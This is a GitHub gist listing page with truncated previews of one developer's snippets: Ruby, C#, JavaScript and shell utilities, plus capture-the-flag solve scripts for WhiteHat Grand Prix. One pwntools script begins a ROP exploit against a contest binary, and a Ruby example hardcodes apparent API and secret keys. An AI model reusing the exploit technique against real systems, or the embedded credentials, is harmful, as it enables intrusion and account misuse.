Skip to content

Instantly share code, notes, and snippets.

View sampritipanda's full-sized avatar

Sampriti Panda sampritipanda

View GitHub Profile
@sampritipanda
sampritipanda / redtail-test.rb
Created March 2, 2014 05:33
Usage for redtail gem
# For testing this in irb. Install the gem using 'gem install redtail'
# Then paste this in irb or in a ruby file and run it.
require 'redtail'
Redtail.configure do |config|
config.api_key = "6C135EDF-C37C-4039-AEF3-5DFC079F9E6A"
config.secret_key = "D81FC882442D4F0988E152B96A646623"
config.api_uri = "https://api2.redtailtechnology.com/crm/v1/rest/"
end
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Structs
{
public struct Menu
{
@sampritipanda
sampritipanda / pair_organiser.rb
Last active November 5, 2015 08:34
Finding all possible bipartite matchings in a set of nodes.
def recursive(a, b)
n = a.length
if n == 0 or n == 1 then
p b
return
end
(1...n).each do |i|
recursive(a - [a[0], a[i]], b + [[a[0], a[i]]])
end
@sampritipanda
sampritipanda / Gemfile
Last active January 12, 2016 17:59
Public Parliament Data Scraper
gem 'nokogiri' # Required for parsing webpages
@sampritipanda
sampritipanda / drafts.js
Created January 11, 2017 23:10
Draft Model for interacting with LocalStorage
var draft_model = (function () {
var exports = {};
// the key that the drafts are stored under.
var KEY = "drafts";
var ls = localstorage();
ls.version = 1;
function createKey () {
// use the base16 of the current time + a random string to reduce

Keybase proof

I hereby claim:

  • I am sampritipanda on github.
  • I am sampriti (https://keybase.io/sampriti) on keybase.
  • I have a public key whose fingerprint is 8DAA AC1F 77E6 78CF 752D 6DD7 2C5C 6A6A 2C52 02CB

To claim this, I am signing this object:

@sampritipanda
sampritipanda / Vn_x9.31_solve.py
Created December 21, 2017 15:28
Solution for Vn_x9.31 from WhiteHat Grand Prix 2017
import struct
from z3 import *
from pwn import *
from ciphers import tbl, names, permute, xor
import hashlib
import binascii
import os
tbl_rev = [{} for i in range(6)]
for i in range(6):
#!/usr/bin/env python
import logging
import socket
import urllib
import ipaddress
import tornado.ioloop
import tornado.iostream
import tornado.web
@sampritipanda
sampritipanda / do_setup.sh
Created July 13, 2018 12:52
Digital Ocean Setup
#!/bin/bash
adduser sampriti
usermod -aG sudo sampriti
rsync --archive --chown=sampriti:sampriti ~/.ssh /home/sampriti
@sampritipanda
sampritipanda / ForPlayer_solve.py
Last active August 21, 2018 12:44
WhiteHat Grandprix 2018 - ForPlayer Solution
from pwn import *
#r = process("/home/gift/run.sh")
r = remote("pwn01.grandprix.whitehatvn.com", 26129)
bin = ELF('./giftshop')
poprdi = 0x000000000000225f # pop rdi ; ret
poprsi = 0x0000000000002261 # pop rsi ; ret
poprdx = 0x0000000000002265 # pop rdx ; ret
putsplt = bin.plt['puts']
putsgot = bin.got['puts']